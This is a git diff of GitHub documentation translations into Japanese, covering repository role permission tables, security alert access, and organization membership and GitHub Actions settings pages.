+| リポジトリのデフォルトブランチの名前を変更する（「[ブランチの名前を変更する](/github/administering-a-repository/renaming-a-branch)」を参照）                                                                                                                                                                                                                                                                                                                                                                          |       |        |       |          |                          **X**                           |
+| リポジトリのデフォルトブランチを変更する（「[ブランチの名前を変更する](/github/administering-a-repository/renaming-a-branch)」を参照）                                                                                                                                                                                                                                                                                                                                                                             |       |        | **X** |  **X**   |                    **X** 
+{% endif %}
+| Webhookおよびデプロイキーの管理                                                                                                                                                                                                                                                                                                                                                                                                                                                         |       |        |       |          |            **X** |{% ifversion fpt or ghec %}
+| [プライベートリポジトリ用のデータ利用設定を管理する](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)                                                                                                                                                                                                                                                                                                                            |       |        |       |          |                    **X** 
+{% endif %}
+| [リポジトリのフォークポリシーを管理する](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)                                                                                                                                                                                                                                                                                                                                                                   |       |        |       |          |                          **X**                           |
+| [リポジトリの Organization への移譲](/articles/restricting-repository-creation-in-your-organization)                                                                                                                                                                                                                                                                                                                                                                                  |       |        |       |          |                          **X**                           |
+| [リポジトリの削除または Organization 外への移譲](/articles/setting-permissions-for-deleting-or-transferring-repositories)                                                                                                                                                                                                                                                                                                                                                                   |       |        |       |          |                          **X**                           |
+| [リポジトリのアーカイブ](/articles/about-archiving-repositories)                                                                                                                                                                                                                                                                                                                                                                                                                       |       |        |       |          |            **X** |{% ifversion fpt or ghec %}
+| スポンサーボタンの表示 (「[リポジトリにスポンサーボタンを表示する](/articles/displaying-a-sponsor-button-in-your-repository)」を参照)                                                                                                                                                                                                                                                                                                                                                                          |       |        |       |          |                    **X** 
+{% endif %}
+| JIRA や Zendesk などの外部リソースに対する自動リンク参照を作成します (「[外部リソースを参照する自動リンクの設定](/articles/configuring-autolinks-to-reference-external-resources)」を参照)。                                                                                                                                                                                                                                                                                                                                    |       |        |       |          |            **X** |{% ifversion fpt or ghec %}
+| リポジトリの [{% data variables.product.prodname_discussions %} の有効化](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)                                                                                                                                                                                                                                                                                                               |       |        |       |  **X**   |                          **X**                           |
+| {% data variables.product.prodname_discussions %} の[カテゴリの作成および編集](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)                                                                                                                                                                                                                                                                                              |       |        |       |  **X**   |                          **X**                           |
+| [ディスカッションを別のカテゴリに移動する](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                        |       |        | **X** |  **X**   |                          **X**                           |
+| 新しいリポジトリに[ディスカッションを転送する](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                      |       |        | **X** |  **X**   |                          **X**                           |
+| [ピン止めされたディスカッションを管理する](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                        |       |        | **X** |  **X**   |                          **X**                           |
+| [Issue をまとめてディスカッションに変換する](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                    |       |        | **X** |  **X**   |                          **X**                           |
+| [ディスカッションのロックとロック解除](/discussions/managing-discussions-for-your-community/moderating-discussions)                                                                                                                                                                                                                                                                                                                                                                           |       | **X**  | **X** |  **X**   |                          **X**                           |
+| [Issue を個別にディスカッションに変換する](/discussions/managing-discussions-for-your-community/moderating-discussions)                                                                                                                                                                                                                                                                                                                                                                      |       | **X**  | **X** |  **X**   |                          **X**                           |
+| [新しいディスカッションを作成し、既存のディスカッションにコメントする](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)                                                                                                                                                                                                                                                                                                                                        | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| [ディスカッションの削除](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)                                                                                                                                                                                                                                                                                                                                           |       | **X**  |       |  **X**   |      **X** |{% endif %}{% ifversion fpt or ghec %}
+| [codespaces](/codespaces/about-codespaces)の作成                                                                                                                                                                                                                                                                                                                                                                                                                               |       |        | **X** |  **X**   |                    **X** 
+{% endif %}
 
 ### Access requirements for security features
 
 In this section, you can find the access required for security features, such as {% data variables.product.prodname_advanced_security %} features.
 
-| Repository action | Read | Triage | Write | Maintain | Admin |
-|:---|:---:|:---:|:---:|:---:|:---:| {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| Receive [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) in a repository | | | | | **X** |
-| [Dismiss {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}<!--Not available for FPT-->
-| [Designate additional people or teams to receive security alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | **X** |{% endif %}{% ifversion fpt or ghec %}
-| Create [security advisories](/code-security/security-advisories/about-github-security-advisories) | | | | | **X** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT-->
-| Manage access to {% data variables.product.prodname_GH_advanced_security %} features (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") | | | | | **X** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
-| [Enable the dependency graph](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) for a private repository | | | | | **X** |{% endif %}{% ifversion ghes > 3.1 or ghae-issue-4864 or ghec %}
-| [View dependency reviews](/code-security/supply-chain-security/about-dependency-review) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| [View {% data variables.product.prodname_code_scanning %} alerts on pull requests](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | **X** | **X** | **X** | **X** | **X** |
-| [List, dismiss, and delete {% data variables.product.prodname_code_scanning %} alerts](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | **X** | **X** | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |{% endif %}{% ifversion ghes > 3.0 or ghae or ghec %}<!--Not available for FPT-->
-| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |{% endif %}{% ifversion ghes = 3.0 %}
-| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |
-| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}
-| [Designate additional people or teams to receive {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in repositories | | | | | **X** |{% endif %}
-
-{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-[1] Repository writers and maintainers can only see alert information for their own commits.
+| リポジトリアクション                                                                                                                                                                                                                      | Read  | Triage |                         Write                          |                        Maintain                        |                                                  Admin                                                  |
+|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:------:|:------------------------------------------------------:|:------------------------------------------------------:|:-------------------------------------------------------------------------------------------------------:|
+| {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}                                                                                                                                                                          |       |        |                                                        |                                                        |                                                                                                         |
+| リポジトリでの[脆弱性のある依存関係に対する{% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)を受信                                                              |       |        |                                                        |                                                        |                                                  **X**                                                  |
+| [{% data variables.product.prodname_dependabot_alerts %} を閉じる](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository)                                                          |       |        |                                                        |                                                        | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}<!--Not available for FPT-->
+|
+| [Designate additional people or teams to receive security alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)                            |       |        |                                                        |                                                        |                              **X** |{% endif %}{% ifversion fpt or ghec %}
+| [セキュリティアドバイザリ](/code-security/security-advisories/about-github-security-advisories)の作成                                                                                                                                          |       |        |                                                        |                                                        |      **X** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT-->
+|
+| {% data variables.product.prodname_GH_advanced_security %}の機能へのアクセス管理（「[Organizationのセキュリティと分析設定の管理](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」参照）       |       |        |                                                        |                                                        |    **X** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
+|
+| プライベートリポジトリの[依存関係グラフの有効化](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository)                                                                                                                      |       |        |                                                        |                                                        |                 **X** |{% endif %}{% ifversion ghes > 3.1 or ghae-issue-4864 or ghec %}
+| [依存関係のレビューを表示する](/code-security/supply-chain-security/about-dependency-review)                                                                                                                                                  | **X** | **X**  |                         **X**                          |                         **X**                          |                                           **X** 
+{% endif %}
+| [プルリクエストの {% data variables.product.prodname_code_scanning %} アラートを表示する](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests)                                     | **X** | **X**  |                         **X**                          |                         **X**                          |                                                  **X**                                                  |
+| [{% data variables.product.prodname_code_scanning %} アラートを一覧表示、却下、削除します](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository)                                  |       |        |                         **X**                          |                         **X**                          |                        **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+| [リポジトリの {% data variables.product.prodname_secret_scanning %} アラートを表示する](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                             |       |        | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} |   **X** |{% endif %}{% ifversion ghes > 3.0 or ghae or ghec %}<!--Not available for FPT-->
+|
+| [{% data variables.product.prodname_secret_scanning %} アラートを解決、取り消し、再オープンする](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                         |       |        | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} |                              **X** |{% endif %}{% ifversion ghes = 3.0 %}
+| [リポジトリの {% data variables.product.prodname_secret_scanning %} アラートを表示する](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                             |       |        |                                                        |                                                        |                                                  **X**                                                  |
+| [{% data variables.product.prodname_secret_scanning %} アラートを解決、取り消し、再オープンする](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                         |       |        |                                                        |                                                        |                    **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}
+| リポジトリで [{% data variables.product.prodname_secret_scanning %} アラートを受信する追加の人または Team を指定する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) |       |        |                                                        |                                                        |                                           **X** 
 {% endif %}
 
-## Further reading
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+[1] リポジトリの作者とメンテナは、自分のコミットのアラート情報のみを表示できます。
+{% endif %}
 
-- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)"
-- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+## 参考リンク
+
+- "[Organization のリポジトリへのアクセスを管理する](/articles/managing-access-to-your-organization-s-repositories)"
+- [外部コラボレーターを Organization のリポジトリに追加する](/articles/adding-outside-collaborators-to-repositories-in-your-organization)
+- [Organization のプロジェクトボード権限](/articles/project-board-permissions-for-an-organization)
diff --git a/translations/ja-JP/content/organizations/managing-git-access-to-your-organizations-repositories/index.md b/translations/ja-JP/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
index ddff241ba3..4150242850 100644
--- a/translations/ja-JP/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
+++ b/translations/ja-JP/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing Git access to your organization's repositories
-intro: You can add an SSH certificate authority (CA) to your organization and allow members to access the organization's repositories over Git using keys signed by the SSH CA.
+title: Organization のリポジトリに対する Git アクセスを管理する
+intro: SSH 認証局 (CA) を Organization に追加し、SSH CA に署名された鍵を使って、メンバーが Git 経由で Organization のリポジトリにアクセスできるようにすることができます。
 product: '{% data reusables.gated-features.ssh-certificate-authorities %}'
 redirect_from:
   - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities
@@ -17,6 +17,6 @@ topics:
 children:
   - /about-ssh-certificate-authorities
   - /managing-your-organizations-ssh-certificate-authorities
-shortTitle: Manage Git access
+shortTitle: Gitアクセスの管理
 ---
 
diff --git a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
index fcbc84c3ef..78eb97e8c3 100644
--- a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
+++ b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Can I create accounts for people in my organization?
-intro: 'While you can add users to an organization you''ve created, you can''t create personal user accounts on behalf of another person.'
+title: 私の Organization に所属する人のためにアカウントを作成できますか?
+intro: 作成した Organization にユーザを追加することはできますが、個人のアカウントを代理で作成することはできません。
 redirect_from:
   - /articles/can-i-create-accounts-for-those-in-my-organization
   - /articles/can-i-create-accounts-for-people-in-my-organization
@@ -11,7 +11,7 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Create accounts for people
+shortTitle: 人のアカウントの作成
 ---
 
 ## About user accounts
@@ -24,8 +24,8 @@ Because you access an organization by logging in to a user account, each of your
 You can also consider {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
 {% endif %}
 
-## Adding users to your organization
+## Organization へのユーザの追加
 
 1. Provide each person instructions to [create a user account](/articles/signing-up-for-a-new-github-account).
-2. Ask for the username of each person you want to give organization membership to.
-3. [Invite the new personal accounts to join](/articles/inviting-users-to-join-your-organization) your organization. Use [organization roles](/articles/permission-levels-for-an-organization) and [repository permissions](/articles/repository-permission-levels-for-an-organization) to limit the access of each account.
+2. Organization のメンバーシップを与えたい人に、ユーザー名を尋ねます。
+3. Organization に、作成された[新しい個人アカウントを招待](/articles/inviting-users-to-join-your-organization)してください。 各アカウントのアクセスを制限するには、[Organization ロール](/articles/permission-levels-for-an-organization)および[リポジトリの権限](/articles/repository-permission-levels-for-an-organization)を使用します。
diff --git a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
index 0dede7c16e..56777218de 100644
--- a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
@@ -13,7 +13,14 @@ topics:
 shortTitle: Export member information
 ---
 
-You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization. The exported information includes username and display name details, and whether the membership is public or private.
+You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization.
+
+The exported information includes:
+- Username and display name details
+- Whether the user has two-factor authentication enabled
+- Whether the membership is public or private
+- Whether the user is an organization owner or member
+- Datetime of the user's last activity (for a full list of relevant activity, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)")
 
 You can get member information directly from the {% data variables.product.product_name %} user interface, or using APIs. This article explains how to obtain member information from within {% data variables.product.product_name %}.
 
diff --git a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/index.md b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/index.md
index 1216f530f7..34a826cfd9 100644
--- a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/index.md
+++ b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing membership in your organization
-intro: 'After you create your organization, you can {% ifversion fpt %}invite people to become{% else %}add people as{% endif %} members of the organization. You can also remove members of the organization, and reinstate former members.'
+title: Organization でメンバーシップを管理する
+intro: 'Organization を作成すると、Organization のメンバーとして{% ifversion fpt %}ユーザを招待{% else %}ユーザを追加{% endif %}することができます。 メンバーの削除や、元のメンバーの復帰も可能です。'
 redirect_from:
   - /articles/removing-a-user-from-your-organization
   - /articles/managing-membership-in-your-organization
@@ -21,6 +21,7 @@ children:
   - /reinstating-a-former-member-of-your-organization
   - /exporting-member-information-for-your-organization
   - /can-i-create-accounts-for-people-in-my-organization
-shortTitle: Manage membership
+shortTitle: メンバーシップの管理
 ---
+
 <!-- else -->
diff --git a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
index 31b090c1f3..5d1aaadbaf 100644
--- a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
@@ -1,5 +1,5 @@
 ---
-title: Inviting users to join your organization
+title: Organization に参加するようユーザを招待する
 intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.product.product_location %}.'
 permissions: Organization owners can invite users to join an organization.
 redirect_from:
@@ -12,16 +12,16 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Invite users to join
+shortTitle: ユーザに参加するよう招待
 ---
 
 ## About organization invitations
 
-If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." 
+Organization がユーザ単位の有料プランである場合、新しいメンバーを招待して参加させる、または Organization の以前のメンバーを復帰させる前に、そのためのライセンスが用意されている必要があります。 詳細は「[ユーザごとの価格付けについて](/articles/about-per-user-pricing)」を参照してください。
 
 {% data reusables.organizations.org-invite-scim %}
 
-If your organization requires members to use two-factor authentication, users that you invite must enable two-factor authentication before accepting the invitation. For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)" and "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+Organization がメンバーに 2 要素認証を使うことを要求している場合、招待するユーザは招待を受ける前に 2 要素認証を有効化する必要があります。 詳細については、「[Organization で 2 要素認証を要求する](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)」と「[2要素認証 (2FA) でアカウントをセキュアにする](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)」を参照してください。
 
 {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.prodname_dotcom_the_website %} through an identity provider (IdP). For more information, see "[About SCIM](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
@@ -38,5 +38,5 @@ If your organization requires members to use two-factor authentication, users th
 {% data reusables.organizations.send-invitation %}
 {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
 
-## Further reading
-- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)"
+## 参考リンク
+- [Team へのOrganization メンバーの追加](/articles/adding-organization-members-to-a-team)
diff --git a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
index 160e49af6a..77c7a80a88 100644
--- a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a member from your organization
-intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.'
+title: Organization からメンバーを削除する
+intro: Organization のメンバーが、Organization が所有するリポジトリへのアクセスを必要としなくなった場合、そのメンバーを Organization から削除することができます。
 redirect_from:
   - /articles/removing-a-member-from-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization
@@ -12,22 +12,22 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove a member
+shortTitle: メンバーの削除
 ---
 
-Only organization owners can remove members from an organization.
+Organization からメンバーを削除できるのは、Organization のオーナーだけです。
 
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
-- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)."
-- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
+**警告:** Organization からメンバーを削除する際は次の点にご注意ください:
+- 有料ライセンスのカウントは自動的にはダウングレードされません。 Organization からユーザを削除したあとに有料シートの数を減らすには、「[Organization の有料ライセンスをダウングレードする](/articles/downgrading-your-organization-s-paid-seats)」の手順に従ってください。
+- 削除されたメンバーは Organization のプライベートリポジトリのプライベートフォークへのアクセスは失いますが、ローカルコピーを自分で持っておくことは可能です。 ただし、ローカルコピーを Organization のリポジトリと同期させることはできません。 そのプライベートフォークは、そのユーザが Organization から削除されてから 3 か月以内に [Organization メンバーとして復帰した](/articles/reinstating-a-former-member-of-your-organization)場合、リストアできます。 最終的に、リポジトリへのアクセスを失った個人に、機密情報や知的財産を確実に削除してもらうのは、あなたの責任です。
 {%- ifversion ghec %}
--  Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+-  Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. 詳細は「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」を参照してください。
 {%- endif %}
-- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible.
+- 削除されたメンバーによって送信され、まだ受け取られていない Organization への招待がある場合はキャンセルされ、アクセスできなくなります。
 
 {% endwarning %}
 
@@ -35,10 +35,10 @@ Only organization owners can remove members from an organization.
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
- - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
+**警告:** Organization からメンバーを削除する際は次の点にご注意ください:
+ - 削除されたメンバーは Organization のプライベートリポジトリのプライベートフォークへのアクセスは失いますが、ローカルコピーを自分で持っておくことは可能です。 ただし、ローカルコピーを Organization のリポジトリと同期させることはできません。 そのプライベートフォークは、そのユーザが Organization から削除されてから 3 か月以内に [Organization メンバーとして復帰した](/articles/reinstating-a-former-member-of-your-organization)場合、リストアできます。 最終的に、リポジトリへのアクセスを失った個人に、機密情報や知的財産を確実に削除してもらうのは、あなたの責任です。
 - Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise.
- - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible.
+ - 削除されたユーザーによって送信され、まだ受け取られていない Organization への招待がある場合はキャンセルされ、アクセスできなくなりすま。
 
 {% endwarning %}
 
@@ -46,24 +46,21 @@ Only organization owners can remove members from an organization.
 
 {% ifversion fpt or ghec %}
 
-To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)."
+Organization から削除する個人の移行と、その個人による機密情報や知的財産の削除ができるようにするため、Organization から離脱する際のベストプラクティスのチェックリストを共有するよう推奨します。 例については、「[退職のためのベストプラクティス](/articles/best-practices-for-leaving-your-company/)」を参照してください。
 
 {% endif %}
 
 {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %}
 
-## Revoking the user's membership
+## ユーザのメンバーシップを削除する
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Select the member or members you'd like to remove from the organization.
-  ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png)
-5. Above the list of members, use the drop-down menu, and click **Remove from organization**.
-  ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png)
-6. Review the member or members who will be removed from the organization, then click **Remove members**.
-  ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png)
+4. Organization から削除するメンバーを選択します。 ![2 人のメンバーを選択した状態のメンバーリスト](/assets/images/help/teams/list-of-members-selected-bulk.png)
+5. メンバーのリストの上のドロップダウンメニューで、[**Remove from organization**] をクリックします。 ![メンバーを削除するオプションのあるドロップダウンメニュー](/assets/images/help/teams/user-bulk-management-options.png)
+6. Organization から削除されるメンバーをレビューしてから、[**Remove members**] をクリックします。 ![削除されるメンバーのリストおよび [Remove members] ボタン](/assets/images/help/teams/confirm-remove-members-bulk.png)
 
-## Further reading
+## 参考リンク
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
+- 「[チームから Organization メンバーを削除する](/articles/removing-organization-members-from-a-team)」
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/translations/ja-JP/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
index 60288c228e..bf6659b63f 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
@@ -16,7 +16,9 @@ shortTitle: インサイトの可視性の変更
 
 Organization のオーナーは、organization dependency insights の表示制限を設定できます。 デフォルトでは、Organization のメンバー全員が Organization dependency insight を表示できます。
 
-Enterprise のオーナーは、Enterprise アカウントにあるすべての Organization dependency insights について、表示制限を設定できます。 For more information, see "[Enforcing policies for dependency insights in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."
+{% ifversion ghec %}
+Enterprise のオーナーは、Enterprise アカウントにあるすべての Organization dependency insights について、表示制限を設定できます。 For more information, see "[Enforcing policies for dependency insights in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."
+{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
index 753c2e3f39..2c0dc2bc92 100644
--- a/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling or limiting GitHub Actions for your organization
-intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.'
+title: Organization について GitHub Actions を無効化または制限する
+intro: Organization のオーナーは Organization の GitHub Actions を無効化、有効化、制限することができます。
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization
 versions:
@@ -11,60 +11,59 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Disable or limit actions
+shortTitle: アクションの無効化もしくは制限
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} permissions for your organization
+## Organization の {% data variables.product.prodname_actions %} 権限について
 
-{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+{% data reusables.github-actions.disabling-github-actions %} {% data variables.product.prodname_actions %} の詳細は、「[{% data variables.product.prodname_actions %}について](/actions/getting-started-with-github-actions/about-github-actions)」を参照してください。
 
